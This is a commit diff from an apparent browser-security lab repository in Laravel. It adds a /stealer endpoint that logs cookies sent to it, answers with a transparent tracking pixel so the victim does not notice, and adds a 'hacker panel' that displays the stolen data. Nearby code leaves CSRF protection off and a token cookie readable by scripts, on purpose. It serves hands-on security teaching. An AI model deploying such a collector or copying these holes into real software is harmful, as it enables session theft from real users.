mcoder_rezvan2/browser-sec-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add

Browse Source
This commit is contained in:
mcoder 2026-04-14 13:25:27 +03:30
parent 16ccf3ebbf
commit 80f55b50a3
3 changed files with 55 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

25
app/Http/Controllers/VulnerabilityController.php
View File

@ -24,4 +24,29 @@ public function csrfTarget(Request $request)
'message' => 'Action performed successfully without CSRF protection!' 'message' => 'Action performed successfully without CSRF protection!'
]); ]);
} }
// متد دریافت کوکی‌های سرقت شده
public function logStolenData(\Illuminate\Http\Request $request)
{
$cookie = $request->query('data', 'No data');
$ip = $request->ip();
// ذخیره در یک فایل متنی داخل پوشه storage/app برای سادگی آزمایشگاه
$logEntry = "[" . now() . "] IP: {$ip} | Stolen Data: {$cookie}";
\Illuminate\Support\Facades\Storage::append('stolen_cookies.log', $logEntry);
// یک تصویر شفاف ۱x۱ برمی‌گردانیم تا کلاینت متوجه نشود
return response(base64_decode('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=='))
->header('Content-Type', 'image/gif');
}
// متد برای مشاهده لاگ‌ها (پنل هکر)
public function viewLogs()
{
$logs = \Illuminate\Support\Facades\Storage::exists('stolen_cookies.log')
? \Illuminate\Support\Facades\Storage::get('stolen_cookies.log')
: 'هیچ دیتایی سرقت نشده است.';
return view('vulnerabilities.logs', compact('logs'));
}
} }

22
resources/views/vulnerabilities/logs.blade.php Normal file
View File

@ -0,0 +1,22 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacker Panel - Stolen Data</title>
@vite(['resources/css/app.css'])
</head>
<body class="bg-black text-green-500 font-mono p-10">
<div class="max-w-6xl mx-auto">
<h1 class="text-3xl font-bold text-red-600 mb-6">[!] Compromised Data Logs</h1>
<div class="bg-gray-900 p-6 rounded border border-green-700 shadow-2xl">
<pre class="whitespace-pre-wrap">{{ $logs }}</pre>
</div>
<form action="{{ route('vulnerability.logs') }}" method="GET" class="mt-4">
<button class="bg-green-700 text-black px-4 py-2 rounded hover:bg-green-600">Refresh Logs</button>
</form>
</div>
</body>
</html>

7
routes/web.php
View File

@ -22,3 +22,10 @@
return response('Cookie set!') return response('Cookie set!')
->cookie('secret_token', 'Bypass-12345', 60, null, null, false, false); ->cookie('secret_token', 'Bypass-12345', 60, null, null, false, false);
})->name('vulnerability.cookie'); })->name('vulnerability.cookie');
// روت دریافت اطلاعات سرقت شده (معمولاً در دنیای واقعی روی سرور مهاجم است)
Route::get('/stealer', [VulnerabilityController::class, 'logStolenData'])->name('vulnerability.stealer');
// پنل مشاهده لاگ‌های سرقت شده
Route::get('/hacker-panel', [VulnerabilityController::class, 'viewLogs'])->name('vulnerability.logs');